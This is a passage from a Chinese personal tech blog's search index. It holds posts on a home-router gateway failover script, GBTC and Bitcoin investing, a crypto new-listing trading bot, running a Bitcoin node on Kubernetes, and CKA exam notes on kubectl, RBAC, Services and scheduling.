\u0026#34;$auxiliary_gateway\u0026#34; ]; then echo \u0026#34;cur is auxiliary_gateway\u0026#34; res=`check_ip_available $auxiliary_gateway` if [ $(($res)) -eq 0 ]; then echo \u0026#34;auxiliary_gateway not avaliable, abort\u0026#34; exit 1 fi res=`check_ip_available $default_gateway` if [ $(($res)) -eq 0 ]; then echo \u0026#34;default_gateway still not works, skip\u0026#34; exit 1 fi echo \u0026#34;default_gateway works fine now\u0026#34; echo \u0026#34;switch to default\u0026#34; # to switch /bin/nvram set dhcp_gateway_x=$default_gateway /bin/nvram set dhcp_dns1_x=$default_gateway /bin/nvram set dhcp_dns2_x=$auxiliary_gateway /bin/nvram commit /sbin/rc rc_service restart_net_and_phy exit 0 fi echo \u0026#34;nothing change\u0026#34; 参考 How to add cron job on Asuswrt Merlin Wifi Router ","date":"2023-06-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/09/%E6%97%81%E8%B7%AF%E6%96%AD%E7%BD%91%E8%87%AA%E5%8A%A8%E5%88%87%E6%8D%A2/","tags":["Homelab"],"title":"旁路断网自动切换"},{"categories":["投资笔记"],"contents":"关于GBTC GBTC简介 GBTC 的全称是 Grayscale® Bitcoin Trust，翻译过来是灰度公司的比特币信托基金。根据其官方的简介如下\n首批仅投资于 BTC 并从其价格中获取价值的证券之一。 Grayscale® Bitcoin Trust 完全被动地投资于 BTC，使投资者能够以证券的形式接触 BTC，同时避免直接购买、存储和保管 BTC 的挑战。\n简单来说GBTC 是灰度公司使用信托来购买了BTC，并且把信托进行证券化之后的产物。这种方式和常见的Reits （房地产信托基金）差不多。使用证券化的方式之后，就可以很简单的通过券商来购买BTC，而不需要考虑到存储，链上操作等等的问题。降低了购买操作的复杂度。\nGrayscale Bitcoin Trust 的资产存储在离线或“冷”存储中，Coinbase Custody Trust Company, LLC 作为托管人。托管人是纽约银行法第 100 条规定的受托人，也是经修订的 1940 年投资顾问法第 206(4)-2(d)(6) 条规定的合格托管人。\n下面是他的基本信息表\nInfo CN Value Benchmark Index 基准指数 CoinDesk Bitcoin Price Index (XBX) CUSIP 389637109 ISIN 国际证券识别码 US3896371099 Bloomberg GBTC US OTC GBTC Inception Date 成立日期 09/25/2013 Annual Fee 年费 2% AUM 资产管理规模 $16,217,757,167**‡ Shares Outstanding 流通股 692,370,100‡ BTC per share 每股比特币 0.00090470‡ 所以简单来讲持有GBTC就是某种意义上讲就是持有BTC\n打折买入BTC 为什么我可以打折购买 俗话说得好，你如果不知道利润的来源，那么你就是利润本身。所以这里就需要了解下，为何GBTC 存在着接近50%的折价。\n市场供需关系：如果市场上的GBTC供应量超过了需求量，那么其价格可能会下跌，从而导致折价。这可能是由于投资者对比特币的需求减少，或者因为其他类似产品（如比特币ETF）在市场上的竞争加剧。\n市场情绪和恐慌情绪：市场情绪可能对GBTC折价产生影响。当投资者对比特币市场感到悲观时，他们可能会出售GBTC，从而导致折价加大。\nGBTC的结构问题：GBTC是一种封闭式基金，这意味着它的份额无法像开放式基金那样随时增发或赎回。因此，当GBTC的价格低于其净资产价值（NAV）时，投资者无法利用套利机会来消除这种差距。这种结构限制可能导致GBTC折价加大。\n比特币ETF的出现：比特币ETF（交易所交易基金）是一种新型投资工具，允许投资者以更为简便的方式投资比特币。与GBTC相比，比特币ETF可能提供了更低的费用和更高的流动性。因此，随着比特币ETF的推出，投资者可能转向这些替代产品，从而导致GBTC折价加大。\n税收问题：对于某些国家的投资者来说，持有GBTC可能会产生税收问题。例如，在美国，GBTC被视为一种股票，因此投资者在出售GBTC时可能需要缴纳资本利得税。这种税收问题可能导致投资者在考虑购买GBTC时更加谨慎，从而影响其价格。\n总之，导致GBTC折价的原因可能是多方面的，包括市场供需关系、市场情绪、GBTC的结构问题、比特币ETF的出现以及税收问题等。为了减小GBTC折价对投资者的影响，Grayscale可能需要寻求将其产品转化为比特币ETF，从而提高流动性并降低费用。\n收益 通过前面的信息表中的下面几个数据\nAUM 资产管理规模 $16,217,757,167**‡ Shares Outstanding 流通股 692,370,100‡ BTC per share 每股比特币 0.00090470‡ 我们可以计算当前的BTC价钱以及该股票的每份对应的价钱，下面在基金的官网已经帮我们计算好了\n风险 因为我们投机的目标就是比特币，那么这里忽略BTC本身的波动风险。而折价溢价风险而是给我们便宜买入的机会。所以面临的主要风险有三：\n公司风险：GBTC由Grayscale公司发行，如果公司出现财务或经营问题，可能会导致GBTC的价值下降。 管理费用：GBTC 的基金有着一年2% 的管理费用，这个费用作为一只基金来说，的确是不算低的。 现货ETF 转换风险：这点是比较重要的，下面详细讲解，简单说是存入信托的BTC无法取出，只能通过卖GBTC来进行变现。 ​\t因为目前的 GBTC 是信托基金，现在的情况BTC是只能存入不能取出的。虽然GBTC拥有6万余枚的BTC，但是实际上是无法提现的，持有GBTC的机构只能依靠出售GBTC来离场，所以在行情低迷的时候出现了严重的折价（这是主要情况）\n机会 有风险就有机会\nAlpha GBTC正在和SEC进行诉讼，争取将GBTC转换为现货ETF 而不是信托基金，这样的话就可以对持仓的BTC进行买入卖出，价格立即挂钩现货。不考虑流动性对市场的影响的话 GBTC价格会有翻倍的增长 Beta 加密市场的长期的发展趋势，增量市场总会增长。 总结 综上，的确是个很好的机会。用更低的价钱来买入GBTC，可以获得ETF的潜在增长，也可以获得btc 的价格增长的收益。\n更新 2023/06/16 这篇文章还在撰写的这周内贝莱德递交了BTC的现货ETF的申请，GBTC在06/16大涨 15% 参考 Grayscale® Bitcoin Trust ","date":"2023-06-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/06/%E6%8A%95%E8%B5%84%E7%AC%94%E8%AE%B0-gbtc/","tags":["股票","Crypto","BTC"],"title":"5折购买BTC-GBTC"},{"categories":["量化"],"contents":"前 新币如果在某个交易所首发的话，那么开盘的时候。就是好机会。因为大家的挂单会在很短时间内进行撮合。导致短期可能会有较好的下单机会。此时如果成交那么可能会十分的有利可图。\n就借着这个想法就使用量化平台来实现一个开盘低价打新的程序，附录会有完整代码。\n正文 设计思路 因为需要在开盘的第一时间冲进去进行下单，所以这里需要做的有\n监控开盘时间 开盘时间开始下单 下单力度控制 结束 一共这个四个阶段。\n代码说明 整体代码逻辑很清晰，就不用额外说明了，这里有一段这样的代码。是因为发现 Gateio 在开盘之后存在一段时间的有深度但是无法下单的时间。\n这样导致代码任务失效。特此补充说明\n} else if ( exchange.Buy(0.001, 1000) == null) { msg = \u0026#34;无法正常下单，等待\u0026#34; Log(msg) Sleep(ApiReqInterval) } 附录 function pendingOrders(ordersNum, price, amount, deltaPrice, deltaAmount, volume) { var routineOrders = [] var ordersIDs = [] for (var i = 0 ; i \u0026lt; ordersNum ; i++) { // var routine = exchange.Go(\u0026#34;Buy\u0026#34;, price + i * deltaPrice, amount + i * deltaAmount) var routine = exchange.Go(\u0026#34;Buy\u0026#34;, price + i * deltaPrice, volume/(price + i * deltaPrice)) Log(`创建挂单 price:${price + i * deltaPrice} vol:${volume/(price + i * deltaPrice)}` ) routineOrders.push(routine) Sleep(ApiReqInterval) } for (var i = 0 ; i \u0026lt; routineOrders.length ; i++) { var orderId = routineOrders[i].wait() if (orderId) { ordersIDs.push(orderId) Log(\u0026#34;成功挂单\u0026#34;, orderId) } } return ordersIDs } function time2strting(now) { const year = now.getFullYear(); const month = String(now.getMonth() + 1).padStart(2, \u0026#39;0\u0026#39;); const day = String(now.getDate()).padStart(2, \u0026#39;0\u0026#39;); const hour = String(now.getHours()).padStart(2, \u0026#39;0\u0026#39;); const minute = String(now.getMinutes()).padStart(2, \u0026#39;0\u0026#39;); const second = String(now.getSeconds()).padStart(2, \u0026#39;0\u0026#39;); // 例如：2023-05-08 22:30:45 const formattedTime = `${year}-${month}-${day} ${hour}:${minute}:${second}`; return formattedTime } function formatTime(seconds) { var hours = Math.floor(seconds / 3600); var minutes = Math.floor((seconds - (hours * 3600)) / 60); var remainingSeconds = seconds - (hours * 3600) - (minutes * 60); var hoursString = hours.toString().padStart(2, \u0026#39;0\u0026#39;); var minutesString = minutes.toString().padStart(2, \u0026#39;0\u0026#39;); var secondsString = remainingSeconds.toString().padStart(2, \u0026#39;0\u0026#39;); return hoursString + \u0026#39;:\u0026#39; + minutesString + \u0026#39;:\u0026#39; + secondsString; } function main() { if (symbol == \u0026#34;null\u0026#34; || pendingPrice == -1 || pendingAmount == -1 || pendingPrice == -1 || deltaPrice == -1 || deltaAmount == -1) { throw \u0026#34;参数设置错误\u0026#34; } exchange.SetCurrency(symbol) // 屏蔽错误信息 SetErrorFilter(\u0026#34;GetDepth|disabled\u0026#34;) while (true) { const now = new Date(); const setTime = new Date(pStartTime); if (now.getTime() \u0026lt; pStartTime) { var countdown = setTime.getTime() - now.getTime() Log(`当前时间: ${time2strting(now)} 目标时间: ${time2strting(setTime)} 未到目标时间, 剩余: ${formatTime(countdown/1000)}`); Sleep(10000) continue } else { Log(`当前时间: ${time2strting(now)} 目标时间: ${time2strting(setTime)} 已到目标时间`); var msg = \u0026#34;\u0026#34; var depth = exchange.GetDepth() if (!depth || (depth.Bids.length == 0 \u0026amp;\u0026amp; depth.Asks.length == 0)) { // 没有深度 msg = \u0026#34;没有深度数据，等待！\u0026#34; Log(msg) Sleep(ApiReqInterval) } else if ( exchange.Buy(0.001, 1000) == null) { msg = \u0026#34;无法正常下单，等待\u0026#34; Log(msg) Sleep(ApiReqInterval) } else { // 获取到深度 Log(\u0026#34;获取到深度, 开始并发下单！\u0026#34;) var volume = pendingPrice * pendingAmount var ordersIDs = pendingOrders(ordersNum, pendingPrice, pendingAmount, deltaPrice, deltaAmount, volume) while (true) { var orders = _C(exchange.GetOrders) if (orders.length == 0) { Log(\u0026#34;当前挂单个数0，停止运行\u0026#34;) return } var tbl = { type: \u0026#34;table\u0026#34;, title: \u0026#34;当前挂单\u0026#34;, cols: [\u0026#34;id\u0026#34;, \u0026#34;价格\u0026#34;, \u0026#34;数量\u0026#34;], rows: [] } _.each(orders, function(order) { tbl.rows.push([order.Id, order.Price, order.Amount]) }) LogStatus(_D(), \u0026#34;\\n`\u0026#34; + JSON.stringify(tbl) + \u0026#34;`\u0026#34;) Sleep(500) } } LogStatus(_D(), msg) } } } 变量 描述 类型 默认值 编辑 symbol 监控的交易对 字符串(string) MEME_USDT ApiReqInterval api请求间隔 数字型(number) 200 pendingPrice 挂单价格 数字型(number) 100 pendingAmount 挂单量 数字型(number) 1 deltaPrice 价格变动 数字型(number) 50 deltaAmount 订单量变动 数字型(number) 10 ordersNum 订单数量 数字型(number) 10 pStartTime 预计开始打新的时间 数字型(number) 1683509556997 ","date":"2023-05-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/05/%E4%BD%BF%E7%94%A8%E9%87%8F%E5%8C%96%E5%B9%B3%E5%8F%B0%E8%BF%9B%E8%A1%8C%E4%BA%A4%E6%98%93%E6%89%80%E6%89%93%E6%96%B0/","tags":["搞钱","量化","Crypto"],"title":"使用量化平台来进行交易所的新币打新"},{"categories":["职业与自由","杂文集"],"contents":"前 在这个充满变数的世界中，我们常常把许多事物视为理所当然。银行卡里的余额，股票账户里的数字,房产证上的名字——这些都代表着我们的财富。但俄乌战争爆发后，我看到了一个令人深思的现象：普通俄罗斯公民在海外的资产被冻结甚至没收，连坚持中立百年的瑞士也加入了制裁行列。\n这让我开始重新审视一个基本问题：我们的钱，真的是我们的吗？\n这篇文章想和大家探讨货币的本质，以及在这个不确定的时代，如何真正掌控自己的财富。\n货币的本质：国家欠你的债 信用货币体系的根基 对于普通人来说，钱通常被定义为一种货币，是交换商品和服务的中介工具。但如果深入思考，现代信用货币的价值建立在两个关键要素之上：\n国家信用：政府发行并提供支持 集体信任：参与者对货币的普遍接受程度 这两者是相互关联的。一旦其中任何一方出现问题，整个货币体系都可能剧烈波动。最典型的案例就是俄罗斯卢布在战争前后的汇率变化。\n钱的本质是债权凭证 在思考了货币的运作机制后，我得出一个结论：\n现代社会的钱，本质上是国家欠你的债。\n你辛勤工作所赚取的钱，实际是被国家强制赋予价值的纸张或数字。其真实价值取决于：\n发行方的信用：国家的经济实力和政策稳定性 流通性保障：其他人是否愿意接受 法律强制力：法定货币地位的支撑 所以这个逻辑是：国家获取了你的劳动力之后给你钱，作为债的证明。而这个债又由于大家都认可，所以可以参与到社会的交易活动中去。\n当国家信用受损时会发生什么 俄乌战争提供了一个清晰的案例。俄罗斯主动发起侵略战争，这个行为影响到了国家主体信用，结果：\n西方国家对俄罗斯实施全面制裁 普通俄罗斯公民在海外的资产被冻结或没收 瑞士放弃百年中立传统，加入制裁行列 这些事实揭示了一个残酷的真相：钱本质上不属于任何公民，它只是国家欠你的债，其一切价值都建立在主权国家的信用之上。\n这里需要思考一个问题：如果有一天\u0026quot;我们的国家\u0026quot;在国际社会中犯了\u0026quot;错误\u0026quot;，我们海外的财产是不是也可以被拿走？\n我们无法完全控制的资产 传统资产的局限性 当我审视自己的资产配置时，发现大部分资产都存在控制权问题：\n金融资产的脆弱性\n银行存款：可以被冻结 股票债券：可以被限制交易 外汇账户：可以被关闭 实物资产的困境\n房产：无法便携，难以跨境转移 黄金实物：携带不便，流通受限 其他不动产：更加难以变现和转移 中立系统的必要性 基于以上思考，我们需要一个任何人也不能控制和掠夺的中立系统来保护财富。这个系统应该具备：\n去中心化：不受单一国家或机构控制 便携性：可以快速转移 流动性：全球范围内可交易 抗审查性：无法被轻易冻结或没收 现代化的财富保护方案 黄金 vs 比特币 提到硬通货，很多人第一时间想到的是黄金。黄金确实经过几千年时间检验，是价值存储的传统选择：\n黄金的优势\n几千年历史验证 全球认可度高 稀缺性有保障 物理特性稳定 黄金的局限\n实物黄金便携性差 存储成本高 转移速度慢 难以分割交易 从按键机到iPhone，从传统车到特斯拉。人类社会的发展趋势是从有形到无形，从具体到抽象。\n比特币的独特优势 虽然黄金经过几千年的时间检验，但在现代社会中，作为价值存储和转移的介质，比特币的应用范围反而更广：\n核心优势\n全球流动性：可以在全球范围内快速、低成本地进行交易 便携性：只需要记住助记词即可随身携带 抗审查性：去中心化网络，无法被单一实体控制 可分割性：可以精确到小数点后8位 透明性：所有交易记录公开可查 真实案例：战争中的数字货币 在俄乌战争刚刚爆发的时候，就有困在乌克兰的外国人，在ATM和信用卡都失效的情况下，用比特币买了辆车成功逃离的真实案例。\n这个案例生动地展示了在极端情况下，去中心化数字货币的实际价值。当传统金融系统失效时，比特币仍然可以作为交易媒介和价值存储手段。\n实践建议 冷钱包选择 如果决定配置比特币作为财富保护的一部分，安全存储至关重要。我选择了 Ledger Nano X，Ledger公司 的其他硬件钱包产品也都不错。\n关键注意事项\n务必通过官方网站购买，不要通过第三方渠道 妥善保管助记词，最好采用物理备份 不要在网络上存储助记词的照片或文档 可以考虑多签方案增加安全性 交易所推荐 如果还没开始配置加密货币，我推荐使用 OKX 或 Binance，这两个平台的手续费和执行效率都很不错。点击这里开户OKX。\n后 这篇文章并不是鼓励大家把所有资产都换成比特币，而是希望引发对财富本质和控制权的思考。\n在思考了货币的本质之后，我认为合理的资产配置应该包括：\n传统金融资产：提供流动性和日常使用便利 实物资产：提供稳定性和抗通胀能力 去中心化资产：提供最终的财富保护和抗审查能力 真正的财富自由，不仅是数字上的自由，更是对资产的完全控制权。在这个充满不确定性的时代，拥有一部分任何人都无法剥夺的资产，或许是一种必要的保险。\n希望这篇文章能够帮助你重新审视自己的财富观念和资产配置策略。\n","date":"2023-05-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/05/%E4%BD%A0%E7%9A%84%E9%92%B1%E7%9C%9F%E6%98%AF%E4%BD%A0%E7%9A%84%E5%90%97/","tags":["经济学","Crypto","比特币","财富管理"],"title":"你的钱真是你的吗？"},{"categories":["OP之路"],"contents":"在 kubernetes 集群中运行比特币节点 前 最近在研究矿池的架构的K8s上的迁移，在尝试在集群上运行比特币节点。\n通过K8s来跑节点存在的一些收益：\n共用Prometheus系统来监控的比特币节点状态。 可以和其他的服务快速的集成通过Service 对比专用实例独立部署的话需要更少的资源 到目前为止，节点的pod 已经运行超过 164 天，没有遇到中断问题。下图是 bitcoind pod 状态：\n资源准备 B基础镜像 使用dockerhub 的基础镜像ruimarinho/bitcoin-core 时刻保持和官网的最新版本的同步更新\n磁盘大小和类型 到 2020 年初，比特币数据的大小约为 333GB [1] 。\n所以节点需要分配了一个 600 GB 的 EBS 卷来作为存储。\n使用sc1 EBS 类型。虽然速度不是最快。但是节点完全同步之后，IO 需求就会大大减少，后面就足够使用了\n硬盘空间目前是足够使用的后面还需要进行继续的扩容。但我们需要再次扩展该卷\n集群节点规格 目前所有的 k8s 节点都使用m5.xlarge节点。\n所以 bitcoind pod 在m5.xlarge上运行。没有专用节点\n部署 SVC bitcoind RPC服务 暴露的yaml 文件：\nkind: Service apiVersion: v1 metadata: name: bitcoind-mainnet spec: selector: app: bitcoind-mainnet ports: - name: rpc port: 8332 - name: zmq port: 28332 Deploy bitcoind Deployment 的 yaml文件\napiVersion: apps/v1 kind: Deployment metadata: name: bitcoind-mainnet spec: replicas: 2 selector: matchLabels: app: bitcoind-mainnet template: metadata: labels: app: bitcoind-mainnet spec: hostname: bitcoind-mainnet containers: - name: bitcoind-mainnet image: ruimarinho/bitcoin-core:0.18.0 args: - -zmqpubrawtx=tcp://0.0.0.0:28332 - -zmqpubrawblock=tcp://0.0.0.0:28332 - -zmqpubhashblock=tcp://0.0.0.0:28332 - -zmqpubhashtx=tcp://0.0.0.0:28332 - -rpcport=8332 - -rpcallowip=0.0.0.0/0 - -server=1 - -rpcbind=127.0.0.1 - -rpcbind=bitcoind-mainnet - -rpcauth=bleevin:\u0026lt;password\u0026gt; env: - name: BITCOIN_DATA value: /data imagePullPolicy: Always volumeMounts: - mountPath: /data name: bitcoind restartPolicy: Always volumes: - name: bitcoind persistentVolumeClaim: claimName: bitcoind-pvc imagePullSecrets: - name: docker-hub 对于其中的字段的说明：\napiVersion 和 kind 字段将 ReplicationController 改为 Deployment。 metadata 部分定义了这个 Deployment 的名称。 spec 部分定义了这个 Deployment 的规格，包括副本数量、选择器和 Pod 模板。 replicas 字段指定了要启动的 Pod 副本数量。 selector 字段定义了选择器，用于将这个 Deployment 管理的 Pod 与其他资源（如 Service）关联起来。 template 字段定义了 Pod 模板，包括容器定义和标签。 containers 字段定义了要运行的容器，包括容器名称、镜像和端口。 metadata 中的 name 字段被移动到 template 的 metadata 中，并且不再需要指定 spec.selector.matchLabels。 其他字段保持不变。 之后直接进行资源的应用以及创建就可以了。\n","date":"2023-04-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/04/%E5%9C%A8-kubernetes-%E9%9B%86%E7%BE%A4%E4%B8%AD%E8%BF%90%E8%A1%8C%E6%AF%94%E7%89%B9%E5%B8%81%E8%8A%82%E7%82%B9/","tags":["OP","K8s","BlockChain"],"title":"在 kubernetes 集群中运行比特币节点"},{"categories":["op之路"],"contents":"前 在经过两周的集中备考后，我以95分通过了CKA认证考试。这篇文章不是应试技巧的堆砌，而是我在备考过程中对Kubernetes设计理念的一些深层思考，以及实战中踩过的坑。\n在深入学习Kubernetes的过程中，我逐渐理解了它的核心设计哲学：\nKubernetes是一个按照Linux \u0026ldquo;一切皆文件\u0026quot;理念设计的宏观系统，实现了\u0026quot;一切皆资源\u0026quot;的抽象。\n这个理解对我后续的学习和实践产生了深远影响。所有的操作本质上都是对API资源的CRUD，理解了这一点，很多概念就能融会贯通。\n基础通识 考试内容概览 CKA考试是纯实操的performance-based exam，时长2小时，需要在真实的Kubernetes集群环境中完成15-20道题目。考试涉及的核心知识点如下：\nService与Ingress：创建Service暴露应用，配置Ingress规则实现路由 存储管理：PV/PVC的创建与绑定，StorageClass的使用 RBAC权限控制：ServiceAccount、ClusterRole、RoleBinding的配置 集群故障排查：Node健康检查、Pod状态诊断、日志排查 集群升级：使用kubeadm进行集群版本升级 数据备份恢复：etcd的backup与restore操作 工作负载管理：Deployment、Pod的创建与配置 多容器Pod：Sidecar模式、Init Container的实现 日志查询：使用kubectl logs过滤容器日志 这里需要强调的是，CKA考试允许查阅Kubernetes官方文档，所以关键不是死记硬背，而是要熟悉文档结构和快速定位能力。\n实战技巧与命令速查 在考试中，时间就是分数。这里分享一些我实战中总结的提效技巧。\n环境切换 每道题目都会指定特定的集群context，这一步必须做对，否则所有操作都是无效的：\n# 切换集群上下文（每道题的第一步） kubectl config use-context k8s-cluster1 # 验证当前上下文 kubectl config current-context 快速查询与操作 # 获取带标签的资源 kubectl get ns --show-labels kubectl get pod -o wide --show-labels # 多资源类型同时查看 kubectl get pod,svc,deploy -n production # 快速创建Service暴露Pod kubectl expose pod curl --port=80 --target-port=8000 --name=curl-service # 导出YAML模板后编辑（避免从零编写） kubectl create deployment nginx --image=nginx --dry-run=client -o yaml \u0026gt; deploy.yaml 资源类型缩写 熟练使用资源缩写可以大幅提升命令输入速度，这些是考试中最常用的：\n缩写 完整名称 缩写 完整名称 po pods svc services deploy deployments rs replicasets sts statefulsets ds daemonsets cm configmaps secret secrets ns namespaces no nodes pv persistentvolumes pvc persistentvolumeclaims sa serviceaccounts ing ingresses hpa horizontalpodautoscalers ep endpoints 使用示例：\nkubectl get po,svc -n kube-system kubectl describe deploy nginx kubectl edit cm nginx-config 关键工具配置 使用 kubectl top 查看资源使用率时，需要预先部署Metrics Server：\n# 部署Metrics Server kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml # 验证部署 kubectl top nodes kubectl top pods -A 这一步在考试环境中通常已经配置好，但在自己的练习环境中需要手动安装。\nAPI资源的本质 前面提到，Kubernetes的核心理念是\u0026quot;一切皆资源\u0026rdquo;。所有的操作本质上都是通过API Server对资源进行增删改查。\n理解这一点很重要：当你执行 kubectl create deployment 时，实际上是在向API Server提交一个Deployment资源对象的JSON/YAML定义，API Server将其持久化到etcd，然后由各个Controller监听这个资源变化并执行相应的操作。\n在编写复杂的资源配置时，Kubernetes API Reference是最权威的文档：\nAPI Reference: https://kubernetes.io/docs/reference/kubernetes-api/ 特定版本API: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/ 这里可以查到每个资源的完整字段定义、类型、默认值和描述。比如在配置Job的时候，你需要知道 spec.backoffLimit 的默认值是6，这些信息在API文档中都能找到。\nPod的网络与存储共享机制 每个Pod内部都有一个Infra容器（也叫pause容器），这个容器非常小，只有几百KB，但它的作用至关重要：\n网络共享：Infra容器负责创建Network Namespace，Pod内的所有业务容器共享这个网络命名空间，因此它们可以通过localhost互相访问 存储共享：在Pod级别声明的Volume会挂载到Infra容器，业务容器通过volumeMounts引用这些Volume即可实现文件共享 这种设计使得多容器协作变得自然而优雅，也是Sidecar模式的基础。\nRBAC权限控制 RBAC（Role-Based Access Control）是Kubernetes中最重要的安全机制之一，也是CKA考试的必考点。在我备考过程中，RBAC是最容易混淆的部分，需要理清楚几个核心概念。\nRBAC的四大对象 Kubernetes的RBAC由四种资源对象组成：\nRole：定义命名空间级别的权限规则 ClusterRole：定义集群级别的权限规则 RoleBinding：将Role绑定到用户/组/ServiceAccount（命名空间级别） ClusterRoleBinding：将ClusterRole绑定到用户/组/ServiceAccount（集群级别） 关键理解：\nRole和RoleBinding都是命名空间级别的资源 ClusterRole和ClusterRoleBinding是集群级别的资源 但是，RoleBinding也可以引用ClusterRole，这时ClusterRole的权限会被限制在RoleBinding所在的命名空间 权限绑定的四种组合 角色类型 绑定类型 作用范围 使用场景 Role RoleBinding 单个命名空间 授予命名空间内的资源权限 ClusterRole ClusterRoleBinding 整个集群 授予集群级别的资源权限 ClusterRole RoleBinding RoleBinding所在的命名空间 复用集群角色但限制在某命名空间 ClusterRole 多个RoleBinding 多个命名空间（每个RoleBinding一个） 在多个命名空间授予相同权限 ServiceAccount vs User Account 在实际使用中，需要区分两种账号类型：\nUser Account：真实用户的账号，由外部认证系统管理（如证书、OIDC等） ServiceAccount：Pod内应用程序的身份标识，由Kubernetes管理 考试中几乎都是在配置ServiceAccount的权限。每个Pod默认会使用所在命名空间的default ServiceAccount，但在实际生产环境中，应该为不同的应用创建专用的ServiceAccount并授予最小权限。\n实战示例 创建一个只能读取Pod信息的ServiceAccount：\n# 创建ServiceAccount apiVersion: v1 kind: ServiceAccount metadata: name: pod-reader namespace: default --- # 创建Role apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: pod-reader-role namespace: default rules: - apiGroups: [\u0026#34;\u0026#34;] resources: [\u0026#34;pods\u0026#34;] verbs: [\u0026#34;get\u0026#34;, \u0026#34;list\u0026#34;, \u0026#34;watch\u0026#34;] --- # 创建RoleBinding apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: read-pods namespace: default subjects: - kind: ServiceAccount name: pod-reader namespace: default roleRef: kind: Role name: pod-reader-role apiGroup: rbac.authorization.k8s.io 在Pod中使用这个ServiceAccount：\napiVersion: v1 kind: Pod metadata: name: my-app spec: serviceAccountName: pod-reader containers: - name: app image: nginx 这里需要注意的是，roleRef字段在创建后不能修改，如果需要更换角色，必须删除RoleBinding重新创建。\nService网络暴露 Service是Kubernetes中实现服务发现和负载均衡的核心抽象。在我的理解中，Service本质上是一个稳定的网络端点，它通过label selector动态关联一组Pod，并为这组Pod提供统一的访问入口。\nService的四种类型 ClusterIP（默认）：在集群内部分配一个虚拟IP，只能在集群内部访问 NodePort：在每个Node上开放一个端口（30000-32767），可以从集群外部访问 LoadBalancer：在云环境中创建外部负载均衡器 ExternalName：通过CNAME记录映射到外部服务 快速创建Service 在考试中，使用命令行快速创建Service比手写YAML效率更高：\n# 为Deployment创建ClusterIP Service kubectl expose deployment nginx --port=80 --target-port=8080 # 创建NodePort Service kubectl expose deployment nginx --type=NodePort --port=80 # 为已存在的Pod创建Service kubectl expose pod nginx --port=80 --name=nginx-service Service与Endpoints的关系 Service通过label selector找到匹配的Pod后，会自动创建对应的Endpoints对象。可以通过以下命令查看：\nkubectl get endpoints nginx-service 如果Service没有正常工作，检查Endpoints是否为空是一个重要的排查步骤。\nIngress路由规则 Ingress是Kubernetes提供的HTTP/HTTPS路由规则，它工作在七层（应用层），可以根据域名和路径将流量分发到不同的Service。\nIngress的工作原理 Ingress资源本身只是一组路由规则的定义，真正执行路由的是Ingress Controller（如Nginx Ingress Controller、Traefik等）。这是很多初学者容易混淆的地方。\n部署流程：\n首先在集群中安装Ingress Controller 创建Ingress资源定义路由规则 Ingress Controller监听Ingress资源变化并更新配置 Ingress配置示例 基于域名和路径的路由：\napiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: app-ingress annotations: nginx.ingress.kubernetes.io/rewrite-target: / spec: rules: - host: app.example.com http: paths: - path: /api pathType: Prefix backend: service: name: api-service port: number: 8080 - path: /web pathType: Prefix backend: service: name: web-service port: number: 80 - host: admin.example.com http: paths: - path: / pathType: Prefix backend: service: name: admin-service port: number: 3000 配置TLS证书：\nspec: tls: - hosts: - app.example.com secretName: app-tls-secret rules: - host: app.example.com # ... 这里需要注意pathType字段，Kubernetes 1.18+引入了三种类型：\nPrefix：前缀匹配 Exact：精确匹配 ImplementationSpecific：由Ingress Controller决定 Deployment工作负载管理 Deployment是Kubernetes中最常用的工作负载资源，它提供了声明式的Pod更新和回滚能力。在我的实践中，几乎所有的无状态应用都应该使用Deployment来管理。\n核心功能 副本管理：维护指定数量的Pod副本 滚动更新：零停机更新应用版本 版本回滚：快速回退到之前的版本 扩缩容：动态调整Pod数量 常用操作命令 # 创建Deployment kubectl create deployment nginx --image=nginx:1.21 --replicas=3 # 扩缩容 kubectl scale deployment nginx --replicas=5 # 查看滚动更新状态 kubectl rollout status deployment nginx # 更新镜像（触发滚动更新） kubectl set image deployment nginx nginx=nginx:1.22 # 查看历史版本 kubectl rollout history deployment nginx # 回滚到上一个版本 kubectl rollout undo deployment nginx # 回滚到指定版本 kubectl rollout undo deployment nginx --to-revision=2 # 暂停/恢复滚动更新 kubectl rollout pause deployment nginx kubectl rollout resume deployment nginx 更新策略配置 Deployment支持两种更新策略，考试中经常需要配置这些参数：\napiVersion: apps/v1 kind: Deployment metadata: name: nginx spec: replicas: 3 strategy: type: RollingUpdate rollingUpdate: maxSurge: 1 # 滚动更新时最多可以超出replicas的Pod数量 maxUnavailable: 0 # 滚动更新时最多允许多少个Pod不可用 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.21 resources: requests: memory: \u0026#34;128Mi\u0026#34; cpu: \u0026#34;100m\u0026#34; limits: memory: \u0026#34;256Mi\u0026#34; cpu: \u0026#34;200m\u0026#34; 这里的maxSurge和maxUnavailable是控制滚动更新速度的关键参数，在生产环境中需要根据实际情况调优。\nPod调度与配置 Pod是Kubernetes中最小的调度单元。在备考过程中，我发现Pod调度是一个既实用又容易出题的知识点，需要掌握三种主要的调度方式。\nPod调度的三种机制 1. NodeSelector（标签选择） 最简单的调度方式，通过Node标签来指定Pod运行的节点：\napiVersion: v1 kind: Pod metadata: name: nginx spec: nodeSelector: disktype: ssd env: production containers: - name: nginx image: nginx Node标签管理命令：\n# 添加标签 kubectl label nodes k8s-node01 disktype=ssd # 查看所有节点标签 kubectl get nodes --show-labels # 查看指定节点标签 kubectl get node k8s-node01 --show-labels # 删除标签（注意label key后面的减号） kubectl label nodes k8s-node01 disktype- # 修改标签（需要--overwrite参数） kubectl label nodes k8s-node01 disktype=hdd --overwrite 2. Taint与Toleration（污点与容忍） Taint是给Node打上\u0026quot;污点\u0026quot;，只有能容忍这个污点的Pod才能被调度到该Node上。这是一种\u0026quot;排斥\u0026quot;机制：\n# 给Node添加污点 kubectl taint nodes k8s-node01 key=value:NoSchedule # 查看Node的污点 kubectl describe node k8s-node01 | grep Taint # 删除污点 kubectl taint nodes k8s-node01 key:NoSchedule- 